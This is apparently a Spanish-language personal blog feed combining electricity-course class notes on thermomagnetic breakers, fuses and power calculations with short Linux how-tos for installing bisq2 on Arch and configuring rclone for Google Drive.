<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDkUReleOLUDXQkNq798pmyICYfa9HOqyLns4n1i4UwLUWQUS611Uq09G0EMdlaGAbE2_H1LN6F-a18hCZbcSy10mNV0XommyxldBD4m_MVid6q3pYaK2JX3e3gKFLEkq5onkEfVBAgxRiCO3BIzF1RdBvLLlTaCRjRb0da2Z0rP_jc4SF_ajtQTsgAMk/s4160/IMG_20250603_202238185.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVruSKIKxkXXuSAr9LSW1ogbJwPx7Q3Jr3cTrLQN94BG2TzSrN9F0jKERNg9cHT73avTnT2T_eOxtS5rtKrt7RhFdEif3xFEI6WreSMRsEWVajMVOULLV4mFgt4jn1qzRUbxRw3oG2nALICmbA02nMVrjiHhWyyfmDWVPHrDAHm0zG1hRAK8V7IsArKnQ/s4160/IMG_20250603_202242016.jpg" alt=""></p>
<hr>
<h6 id="transcripción">Transcripción.</h6>
<p>Barrientos Leiva</p>
<p>Llega el profesor (Minuto 17:40)</p>
<p>Barrientos pensó que era miércoles, pero era martes.</p>
<p>Profesor al Ayudante(Alejandro Ramirez): Hacé una cosa, el dire ahí me está llamando, escribí la fórmula esa <code>P=VxI</code> después despejá I por lo menos para que ellos tengan idea después vamos a dar el ejercicio ese, ya vengo vamos a ver si tengo suerte de sacar conclusiones.</p>
-
Electricidad / Clase 32: [FOTOCOPIA] Foto termomagnética. Leímos fotocopia interruptor termomagnético. Potencia nominal. Foto de Corriente máxima por sección de cable. Ley de Watt. PREGUNTA DE EXAMEN: Circuitos mixtos: poner 2 tipos de conductores puede empezar con 2,5mm^2 y después 1,5mm^2 pero protegíamos el conductor más chico que era 1,5mm^2 y todas las térmicas eran de 10 amper.
https://imlauera.github.io/electricidad32/
Mon, 02 Jun 2025 22:30:44 -0300
https://imlauera.github.io/electricidad32/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1dNfZlpedJa6">https://vocaroo.com/1dNfZlpedJa6</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-142">https://archive.org/details/record-142</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/0ttXRieeraM">https://www.youtube.com/embed/0ttXRieeraM</a></p>
<h5 id="documento-enviado-por-whatsapp">Documento enviado por WhatsApp.</h5>
<p><a href="https://archive.org/download/record-142/interruptores%20termomag.doc">https://archive.org/download/record-142/interruptores%20termomag.doc</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdgkihPegV7SY1XFdgZusMoWHHQKWA-_eV37iz3iyLE4bTkoYB1899L6bVxKz4foJNJ_PqJPnZQLtvuc9Y5kpn60pzspKGKol2CuSfZRjpWMMTYjMb4pnr5_Cq-HiBJa02KCvtWhG5a394-8jqH2AX5yH7Gzl2g5b5_qBRzg7DG2hVRGA3ljXqxKegcUs/s4160/IMG_20250602_184731391.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc4eSxa_pq_T2t0zr8BCo_WAF4OUrF8sHUnxedhx-gROCkZPB_LzxxzCVQRGM5vpAqoyOqzyvauxVpH9s93lzsu6UshXAkVf9EKzDWecgHtWzChZjVKGqHlwjlUL_clDh_rXDE9-jitm3JNZpREHuaW-awAoKJtjmqhxJ5CeDT0eHVpSpVULKrPtyd9Ng/s4160/IMG_20250602_184908994_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5sNrO2sABunwGBDrTsqkpGg2tmYsOdg79Ug_fxkbd-Ye5QWPbjXSzwoOL1PE_hpLWj3Z25_L6fvcWNZzFefeuVoiOdrqJCW202Gn1pBv_xMI5_SMJL8TwAL_YNevkyf840c7BCWA_9AXn-VORMnTsFZcDHpkha2zYvawqVHp2uDW8DMFkAe2-aJuvH14/s4160/IMG_20250602_184908994_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKQQZMc0Jv5LWFCp5tuXUPgAm4xwcX_3TwetPkEPKf-ix0gLh5xAUI4WWueUlPZtYnY-v_KJBE0c_5snHP3ecV2eTgqqql9_jIl3tBch1q-JwcCVxMhFjbibCT0BdpFnVZgjOuohgrOupOsZJVSpdr5mb8V7EPx1aKV1-CW11-n8h5qR81Yz3CcAakHzc/s4160/IMG_20250602_184912577.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAs6HhyIWBKZFld4Kjkc-MMkMIJuUgVNTj3paufueufcvJTrP_r_L8tgTnNqw_Blbnc-p1afplRfy7iIa2R_Xl33J-bTE40zRK9qMblrHFqYRWoshr4qMASXg1wNNhJSr0lLhgCXuka8xHQYMIZ8ilq7E1No_n0oqBVR0JXh7-PuIXvYFabg4l9L5dnV0/s4160/IMG_20250602_191043819.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6c4YiM2PaozwL4m6p0HU6I2ecotxhNv0wm9Da7TCfAuGm6SSVLoR6YSrqUGtfJrAcoAb5FVfi4I82Z6PVwDwOflIr0MWLbNXMK9jNc3JSLPjOCDYB61tobD1t37tEfoCviAWDXt-cJ9KJvBXykCUFaoc1cfWWjWB5h1kATwRbAGRbtCXwsbtLCAUMf6Y/s4160/IMG_20250602_191338902.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq1L_bAffXThuUTg9GdVXAN5juvhbNNahuD3Jpmk6-OGzBoRHPr8xQbd1Hzn9NQDc8gZr52edToL0yxPg5AnejDci8783eTR39aijNBQNnnRZznCvE7tdtfuZ7cJWeilczsSr6MWVggdLE8fj_iMakv2tvxMlJW68vWXM4oll6wQu27dkZ2NgFdmG-IRU/s4160/IMG_20250602_191350795.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2PBjhb9lZn-uvHs6Jx-kP0FaBr97CyriiRt6dOsYPfekyTeOQ7qje4wU4kby6aQTQWMLxHu0JoWsAFhmmSEHUem4OPmmV65zNXkkMACczBKEtqA6Y4UYqEq404e-Zz7s2ITf4jol_OfFIQfgRaqziYqJAjoAcZlo8z5-N-E-a8AaE0pW5H6oUAzpbgLU/s4160/IMG_20250602_192307645.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfv8oSWrVv5MHwdaGglawu-FLtkzkR1y2gLPl2ncjpIGQdUf1ddnZ368JM40eq-PGZYk0RrwlyUobLsew0tccErXenSWvNWS5kVDBBvu8OlYgY8tDS57tJXMXUJBEFyJvdZZsUmOxpNI3CowF2_m4UVpFfuhvv8kVs6PHyCpL3oAnisoCKFuYVwRzJ59k/s4160/IMG_20250602_193550347.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOaM70ix8vvjiB2qvG9GBJlH_0Tz6yMYQh9wjnmtJlj78MzFwnt6qquJYoY6Wke3C1HpyE69uFCe_lMPEXarEDyD9Wn0uoZtp1QXLtePGBVeBn_kD6Mu3sLzTQ4JOxTQ1clh3IrBKjOTicixDFnb-5wBZa11acxEG9YiO3D1fgCA5cvnuVeh8rh9E-S90/s4160/IMG_20250602_221810496.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsJhCsAU7pM5upS7Bx8YUtE_Vi1wEE3wR99yxS1ibpF08HF_SF_gUE6tMDhMj_ACEHalzJQhj9ktWUr2YYOUFBdIyZp5f95V15g2N7w7AtX35X-HeJtIK_sVRW40DSU4Ydw8ruAOgDoccMMqF0WfH4LA9TgRozfie3tN5cTiHAheyklJSsgwYe3zh2s0k/s4160/ITM.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghcI2Qe1lMjvSRTJQFjkicBJv1NbwCMJiox6Vc2fKB5Pp0XMDlLuaq06nRa0UcUgjLEXjbi-lnEgF7tpDDsXHzh1OoxrMkilOW1M-OJuWjBIfuDlHwhCfAqtiuZgxVsABOX33XflZrvG2hb8n5tT-vk6nMo_yghsIDAqvk-Nitzq_ucCHyQyuoAkxQFG0/s4160/IMG_20250528_200131360.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB2BIpp0M8gRrgOhdl53n3BHU9nDuxifzNSpxQM_cpzCCj89qVflI3TdS2DvBshB3_RO6aIYG5H8Ks-drmifXCgVyoZ4i1zs7dep8HHOsmHgLgtiXiJJVHhls2sH59oVikCAmCd61AvlPAj2HRpRchLBJzSCNj2KuFnz0YxYWdHMvKwfqyerlYGFWdAGo/s4160/IMG_20250528_200139151.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBZoPmRA4r9sXIp5DX1KfM_pDV_0PPXkeo8NAfMBiW0WOdCP501fBx6Pmr4lZU7e9pSNQWrJ2yauleGaezYmuze84TuafMht5xzY_J8i_jgrcCMxoX1LEGmE0DxMacwnuOSyY5IQ5YrdVK321vbiUpZoOcKqo-tm8JHc7w5XxEpbCO2vKjgjYv0HRrAX8/s4160/IMG_20250528_200106007.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNmBJSnUjye1LP2tbh_c_3lfDPKjlyOo1XZFhy0zrNygZ5dHw2WsC4vhhb5ZRDjgOy7CNt9aKdr9s4-BBf97JlFeYggqH_dIykU1xLVwE4F4K17r2QAC4w24fWOho5hUX8HmwuF6ZPu3zqCClbu2nEOyo1Khz27mIoY6H06PlexoxHoBQTqiJeK3pkJuA/s4160/IMG_20250528_200117620.jpg" alt=""></p>
<p>01:37 (Como no instalar una ducha eléctrica)</p>
<h4 id="intento-de-resumen">Intento de resumen</h4>
<p>Ahora he visto interruptores que se ponen un módulo al lado que uno directamente puede activar o desactivar a través de WiFi. <br>
El interruptor termomagnético tiene 3 condiciones de funcionamiento: sistema magnético, térmico, sistema manual que yo puedo abrir y cerrar el circuito <br>
El interruptor termomagnético tiene un sistema en serie dentro. <br>
Va pasa la corriente esto tiene internamente un núcleo de hierro que abre de acuerdo a la cantidad de corriente que pasa mayor que la que soporta el interruptor abre o cierra el circuito directamente. <br>
Aparece el par bimetálico o sea que son 2 chapitas de distinto coeficiente de dilatación que abre o que cierra el circuito: porque la corriente que pasa por el interruptor hace todo su recorrido y sale directamente acá, siempre y cuando este equipo esté funcionando correctamente. <br>
Acá tengo 2 materiales de distintos coeficientes: d1,d2 <br>
Tengan idea que es lo que ustedes leen un interruptor termomagnético: la calibración, la tensión, calibre/categoría 3000 amper que es la capacidad de ruptura. <br>
Capacidad de ruptura: si llega una corriente con esas característica este equipo no se tiene que. <br>
Y después tiene categoría 3. Cualquier elemento de categoría 3 es buena calidad. Son las mejores sistemas de seguridad. <br>
Leyendo la fotocopia <br>
Interruptor Termomagnético: el interruptor termomagnético es un dispositivo de protección de circuitos eléctricos que actúa antes 2 distintos tipos de eventos:</p>
-
Bisq2 en Arch
https://imlauera.github.io/bisq2_arch/
Sun, 01 Jun 2025 19:20:38 -0300
https://imlauera.github.io/bisq2_arch/
<p><code>yay -S bisq2</code> me da este eroror: <strong>Falla porque necesitas la versión 22 de jdk</strong> podes mirar la versión en uso con <code>archlinux-java status</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Configuring project user
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>> Configure project :daemon
</span></span><span style="display:flex;"><span>daemon does not have a Java component, skipping
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>FAILURE: Build failed with an exception.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>* What went wrong:
</span></span><span style="display:flex;"><span>BUG! exception in phase 'semantic analysis' in source unit '_BuildScript_' Unsupported class file major version 68
</span></span><span style="display:flex;"><span>> Unsupported class file major version <span style="color:#ae81ff">68</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>* Try:
</span></span><span style="display:flex;"><span>> Run with --stacktrace option to get the stack trace.
</span></span><span style="display:flex;"><span>> Run with --info or --debug option to get more log output.
</span></span><span style="display:flex;"><span>> Run with --scan to get full insights.
</span></span><span style="display:flex;"><span>> Get more help at https://help.gradle.org.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>BUILD FAILED in 10m 23s
</span></span><span style="display:flex;"><span>64 actionable tasks: 64 executed
</span></span><span style="display:flex;"><span>==> ERROR: A failure occurred in build().
</span></span><span style="display:flex;"><span> Aborting...
</span></span><span style="display:flex;"><span> -> error making: bisq2-exit status 4
</span></span><span style="display:flex;"><span> -> Failed to install the following packages. Manual intervention is required:
</span></span><span style="display:flex;"><span>bisq2 - exit status 4
</span></span></code></pre></div><h6 id="así-que-tuve-que-instalar-yay--s-jdk22-openjdk-y-ejecutar-sudo-archlinux-java-set-java-22-openjdk-logré-instalar-el-paquete-bisq2">Así que tuve que instalar <code>yay -S jdk22-openjdk</code> y ejecutar <code>sudo archlinux-java set java-22-openjdk</code>. Logré instalar el paquete <code>bisq2</code>.</h6>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S jdk22-openjdk
</span></span><span style="display:flex;"><span>sudo archlinux-java set java-22-openjdk
</span></span><span style="display:flex;"><span>yay -S bisq2
</span></span></code></pre></div>
-
Rclone Google Drive
https://imlauera.github.io/rclone_googledrive/
Thu, 29 May 2025 20:24:15 -0300
https://imlauera.github.io/rclone_googledrive/
<p>Una forma mucho más fácil y rápida de acceder a tu Google Drive es usando <code>rclone</code>.</p>
<p>sudo pacman -S fuse3</p>
<p><a href="https://www.youtube.com/embed/f8K-V3HHDA0">https://www.youtube.com/embed/f8K-V3HHDA0</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>rclone config
</span></span><span style="display:flex;"><span>n
</span></span><span style="display:flex;"><span>gdrive
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">13</span> <span style="color:#f92672">(</span>google drive<span style="color:#f92672">)</span>
</span></span></code></pre></div><h6 id="ahora-tenes-que-seguir-esta-guía-para-crear-tu-google-drive-id-para-rclone">Ahora tenes que seguir esta guía para crear tu Google Drive ID para rclone:</h6>
<p><a href="https://rclone.org/drive/#making-your-own-client-id">https://rclone.org/drive/#making-your-own-client-id</a></p>
<ol>
<li>Log into the Google API Console with your Google account. It doesn’t matter what Google account you use. (It need not be the same account as the Google Drive you want to access)</li>
<li>Select a project or create a new project.</li>
<li>Under “ENABLE APIS AND SERVICES” search for “Drive”, and enable the “Google Drive API”.</li>
<li>Click “Credentials” in the left-side panel (not “Create credentials”, which opens the wizard).</li>
<li>If you already configured an “Oauth Consent Screen”, then skip to the next step; if not, click on “CONFIGURE CONSENT SCREEN” button (near the top right corner of the right panel), then select “External” and click on “CREATE”; on the next screen, enter an “Application name” (“rclone” is OK); enter “User Support Email” (your own email is OK); enter “Developer Contact Email” (your own email is OK); then click on “Save” (all other data is optional). You will also have to add some scopes, including</li>
</ol>
<ul>
<li><a href="https://www.googleapis.com/auth/docs">https://www.googleapis.com/auth/docs</a></li>
<li><a href="https://www.googleapis.com/auth/drive">https://www.googleapis.com/auth/drive</a> in order to be able to edit, create and delete files with RClone.</li>
<li><a href="https://www.googleapis.com/auth/drive.metadata.readonly">https://www.googleapis.com/auth/drive.metadata.readonly</a> which you may also want to add.</li>
<li>If you want to add all at once, comma separated it would be <a href="https://www.googleapis.com/auth/docs,https://www.googleapis.com/auth/drive,https://www.googleapis.com/auth/drive.metadata.readonly">https://www.googleapis.com/auth/docs,https://www.googleapis.com/auth/drive,https://www.googleapis.com/auth/drive.metadata.readonly</a>.</li>
</ul>
<ol start="6">
<li>After adding scopes, click “Save and continue” to add test users. Be sure to add your own account to the test users. Once you’ve added yourself as a test user and saved the changes, click again on “Credentials” on the left panel to go back to the “Credentials” screen.</li>
</ol>
<p>(PS: if you are a GSuite user, you could also select “Internal” instead of “External” above, but this will restrict API use to Google Workspace users in your organisation).</p>
-
Electricidad / Clase 31: [FOTOCOPIA] Protecciones. Interruptor termomagnético. Fusibles. Repaso.
https://imlauera.github.io/electricidad31/
Wed, 28 May 2025 22:19:52 -0300
https://imlauera.github.io/electricidad31/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/11YfVW6QE7QS">https://vocaroo.com/11YfVW6QE7QS</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-139">https://archive.org/details/record-139</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/watch?v=K4Vo2P9882Q">https://www.youtube.com/watch?v=K4Vo2P9882Q</a></p>
<h6 id="documentos-enviados-a-través-de-whatsapp">Documentos enviados a través de WhatsApp</h6>
<p><a href="https://archive.org/details/2.-diagrmas-de-instalaciones-electricas">https://archive.org/details/2.-diagrmas-de-instalaciones-electricas</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMAb8SuwzJVR9k5031HzA5aNezrqV9Nyd8Jb81fUAcTKY9Nv-Xv3qk6HwmkDnY5BGHnOcgde1wTSCmPHhVRBFQBnU6OZ2DfaUAqAnB0CyUxWB-jrB9EqsNjfZt_4LvRyZJ-0j7LwOIM-ZMfCFDYAwz2UA_DPRUEDPATEicqMthr0kpgNubtjiFQsnJKCE/s4160/IMG_20250528_194938530.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUhfZ49To2WPY49tCOQJwqEbW5V0dza49adJb4qaH3VbV9Jr46Uub6xaBSojtBwgENUmXBLpIydntYdlhOufDgvdG3FCmtHevMUk-76_gENczxWIqyg4B66rsITpVz3us0M6GS6plDdFzOQugJhh90WvYbe_9YdcQPKkvAYqP43TgsTBMwZaqcSrGh8fY/s4160/IMG_20250528_200106007.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij4FyKbt8NxHZFRQQYrKoYHNupV6kE2QK2CU5XkkKOSF7IrXV1j52SejETrft7bxcy0z62D6FEAXThlKDdLrAHlzD-aYIIipNTFGrcoj_5eRvV8JAd0AV07NRuRHazHyE6s5qh-nOujQANwEB2G6K69W9Biy5B-rXjxMWU7Lp0te5rBERRVBDonoxHcwM/s4160/IMG_20250528_200117620.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpTq7U3jfFsubnI4ArWqQLvNngWkDWEsXeZKA_peVsV_U6G4oQIGgcig1LcvsCI1XTAmUoYidlgnwBY0XJVDdFIjwVdAi5gLnr990s6f3llaB-bOcnjeod13Edjk6eNapxYnCAVxqjqOZlSne0GLB9JgVALJWCATtmb53CPvDXOVI2sQKODrWykP8LVjY/s4160/IMG_20250528_200131360.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3WTPqWfTBKnUXcVcZJJbvpZp5lyjafCQ2maGGKhpz_kpAmi3pqCTp8VAl1JyPpHMarBF7kRBWY08_2ID0W6Kq38CzMG48fRaaur_7qmG_qcHgQGYaOdWNGsfg4TFVh3O-2ssTLuZ7ZugX71uwmAOhJ3HHQGp1SIQUetFI6D_lacAXGsPPwyWgGw4o6yE/s4160/IMG_20250528_200139151.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip3ZHuwY-ZFhRugB4sTWCtRl7n6ooeDe7ls_lKbclIRqBCcixRkCLtbCKX14D6XyhBUDz_mhkjOg_w8XdonN1dXlJbKHNkyqJ6XrWRc47asiKm3-J0ldckoHWz1gNES_r8R4AeQggMnepmbadXPY1iJYka4TJuso0wsBvYVr6KQ-9ngaE2PuObjW_Y5O4/s4160/IMG_20250528_201933629.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFWODm05_QYfymuaM5y6vU4gOoD8x9yAeRrP4oE_gw6nEqeO85KGmZ7WHzRfuOPblCRzpl47AO6T7ZJ98I4jI01CL13d6OwBe4WkKSdueRoYfvBnza_LIlhihtAmUtNYe9r_emrM84MxR3BEnlrGpOmTbjbKGVHwao6Wu4Pw74XbVaOQwadNjjunFZ5II/s4160/IMG_20250528_200149087.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrJ2C_9ZMjHjYQc8kFlCSSaxGeKWLi-7VCRvt5daqCoYwteXY2eu4F58m-RTpiN0oWBg6FkIBKoPArwHpCBbFZR4peTSM97yX36-gEcJVjOe70FnOWf5xVWnXXFAecXJEB5cTd3G-VYy0EqnZ-djNLsfLDLpw5Iu6e3yCXMEBlW5d07BNe0ZMYHZe4a-8/s4160/IMG_20250528_200208376.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6un_IWnoUGhkxsb2-0sszQtpEdgnLgZnBYJwQljev1WssVGksBB1gdXDPknavybtCM5rOWPTt0Jp_wBf50ZpCFTG6PUTSdRWl447ChbrDV9unFcg_NOC1uq3ozJH0ogUYjyjLkhFlsGMzkvnkIAHeFC-2dhQ1IZMDTCB5OoJ_L0LiLxHALeWTuBRO1bU/s4160/IMG_20250528_200211722.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRILi9ZJhL-ciDAvh8P-w0IvRppTnU8YK2JB8zMZRZZ52OyJ47ZZAKKXpaxqbCgZqycCTL5XX9_QQF7BuWZ4HR7CYqCUBAX4D7QXlnGe9TmqH08DLoy3j9Q1XcjLzJCxrRJanS9xuw_TleMY0-nMmKMwfISg_z0tKirfjq-QpG-vEpqp0hKXp1XRYGEBs/s4160/IMG_20250528_200857291.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-wc5niOlJp8hc-ZQ-axIk0kY771ZgNppJwWsb_CQ1pmFoY32YMlreqwU8ia6NFNTdG8107AiVF6lqXAjF1TPC9MkDUNpJ6j8J8IpflxRcVzuG_t_TUWYRANOsvqApuhvY5jvCe4oNzgP1xd7e7r8BXH65kMQDl-4pB5qyMfI4AzaweVtxkndWBy0B-RE/s4160/IMG_20250528_202140555.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl_4OAvqIpoTuSvu4-yperdCkDO6kRfPAcplGD89BTL2Iei1o-T6u9nN72MKmdyaa2K-EMmBvH6lVII8cVpWkhDbc5zFRrNd4di6J9nfSAGQaDA2-Ea_OiZpQVaoMXep8LxuSbvDR_ZVV1bn7q_vWPn_YTq0Ud7HEIFEos-TLiWZ8KDqUg7xoqaQtdnuU/s4160/IMG_20250528_202158596.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBb3QZu0XB5Dvko_cdLGTD82E29-ChCdO9Q_tK-zaT53JmzgcDLJ8keHLWUuBNZSDvHwTi5AULHiCkhwGHJn1jhhN9Pg7XpKy1kc-xBcFLjMoixFwch64yErQmRJIHCCZkffqOD6TmjAXHvA35ghjVCm_fsGzfTPxn92f30n-NGe0QPCivF5IMg9-2QBk/s4160/IMG_20250528_202431564.jpg" alt=""></p>
<h6 id="se-rompieron-los-soportes-de-esta-térmica-por-eso-espeche-no-comprará-más-abb">Se rompieron los soportes de esta térmica por eso Espeche no comprará más ABB</h6>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJaDMOXRU0kMmNDdQj78u-7MMuoBDx01-K3VZkcnOIcz5hzM_NSk6bd-xKAvKfx-AqJeQ1EktGXl6c_iA3lKUP3gl1wtPwemrrShgbk-v6NCCK3pd0vX9Vk1rmWOKq9WI84cTsvtL5Ca8eyHjhRH_zqiPzbE0l0xH0G2GkmmFKgHQkE84H-uRAC-sONSU/s4160/IMG_20250528_202436512.jpg" alt=""></p>
<h5 id="resumen">Resumen</h5>
<p>Se rompieron los soportes de esta térmica por eso Espeche no comprará más ABB</p>
<p>El balasto hace que no sea de 220 le baja 24 voltios. <br>
Los electricista quieren cambiar toda la instalación interna de un sector <br>
Cuando haay problema de lluvia humedad todo el sistema se complica a veces cuando empieza a saltar el disyuntor entonces la gente empieza dice no tenemos luz, uno que hace que le pide que me saquen foto de que es lo que esta saltando .</p>
-
Electricidad / Clase 30: [FOTOCOPIA] Ordenamos. Fusibles. Térmicas. Mortero. Driver. Etc. Día de Lluvia.
https://imlauera.github.io/electricidad30/
Wed, 28 May 2025 09:01:45 -0300
https://imlauera.github.io/electricidad30/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1iHHSbiUXgm1">https://vocaroo.com/1iHHSbiUXgm1</a> (hay partes en mute¿?)</p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/output_20250528">https://archive.org/details/output_20250528</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/watch?v=G2pvBLeibvw">https://www.youtube.com/watch?v=G2pvBLeibvw</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUg_dvb22-AKAJ1U8p6_pCXAhdA_PUUT0LWhUk3PppgUbSDV9T5hoFXbGHp6h-o7gNXkzkEmEC9JmQ3SN2Ymza4RGPm72mJHqlkIbRFHp_yFZsPUIuOVYW_vegzE7cyPcJEEejR3hJLIsU1atW-ePCazrcOOrBuhyphenhyphenCDh0UoAqX9DYGoGmXeq8HDZSBv8o/s4160/IMG_20250527_183659536.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-BOW-g0UziTTbP5pWuYhHHD962ZGoe1pY3FeM_d1m9w3bSkmsrYM__Zyf4mccmQrYzOm9-01kCXaibhkanG88D3WUWzwNuyISOr3qh8RgqF8Q0pYobFz44n_j1PpU45L2B9jJ_tST0qt3WEvFC3NpfhMTsyV7PzEklDVdqnBVRx9az4s1_NkDK3qwewc/s4160/IMG_20250527_183703675.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO2CiSSMnGN335ozUr9xwBbPbEqIfWPFTwuPRMhEJetn7flGx5gAeKVfXC7yy1Gbl3ykHjKxpWeLoCjNtYtWLCGa8_tYLVwe2SPZjSY-WzxnHC7rGBJSRGH33SeJYmAaPUjPb7MI_-TWZhTHCXKONGYb-y1vXys2GNOA9TsGRfHVkb8xFVZqcswLciIw8/s4160/IMG_20250527_183731219.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOsxF2GsoN_ABzNyNHOAlrcWQnDdQ3bh47-cH_eJkOUtv-2_HYXEXV7pJS4fJi2INMeMEm2WcwTt9uUAVuC2s3Jnwh7NNWftAeWN-_AROa25hGY7vAgnXMN42-0kUPWpfcEWf4vNx2yEwSN7SnaItbms1cYTFg1QbG8SLr1DYxZGh-N42hyJLykjR1h5Q/s4160/IMG_20250527_183850919.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhunxx5SNVitIHm6TwUpwnEvo2xG7zruz373uE1iRKKe7y5PCMG346LkaHLkrlUaBOHGK6BnqZc52FTeX-nr5bv_EgpTEULab9BwHjXrxjDmZTNewL2mGQBr1-ZErRa3xwIvrRbwRgR_WLRawjbtMdDWC86i5EOZ5pxd6997crUO0dCgncHldThg0OZxNw/s4160/IMG_20250527_184404174.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgevrvXwCLzaquxqzeNEN0JBZoX5lVPo_sj5lQKtFkeZ5xHkbexKHrba5NZMzaT2pw2JOlJ1nHNBG03ItFkUby2bNjACc5qAJBd_y9pg9PE9oYnlqTRUd5rrzkiJyNkP-aIKPd_5NbDkSwLnu_zA9EGbEDn6MBJApzGoJB0XH-vuP9cRm-lCwejn4r2rTE/s4160/IMG_20250527_184609873.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv_KMkZhN8lIrlvygPWWfGQw9oifSPpYgiTRJb3_kBxFTXZne78rpWcp4hvWjn4PmjwpbjkVwrDyf9UZqQV44v805cNpacJrXJejAa-IlTw7tU9KZUmcjXdqxKja4SYMjnLi0Fhx_s0uSMqXplJw3G4UdmK3nb7RobSNmv3zI0iujS05vx2G66yNAKsbs/s4160/IMG_20250527_184851228.jpg" alt="">
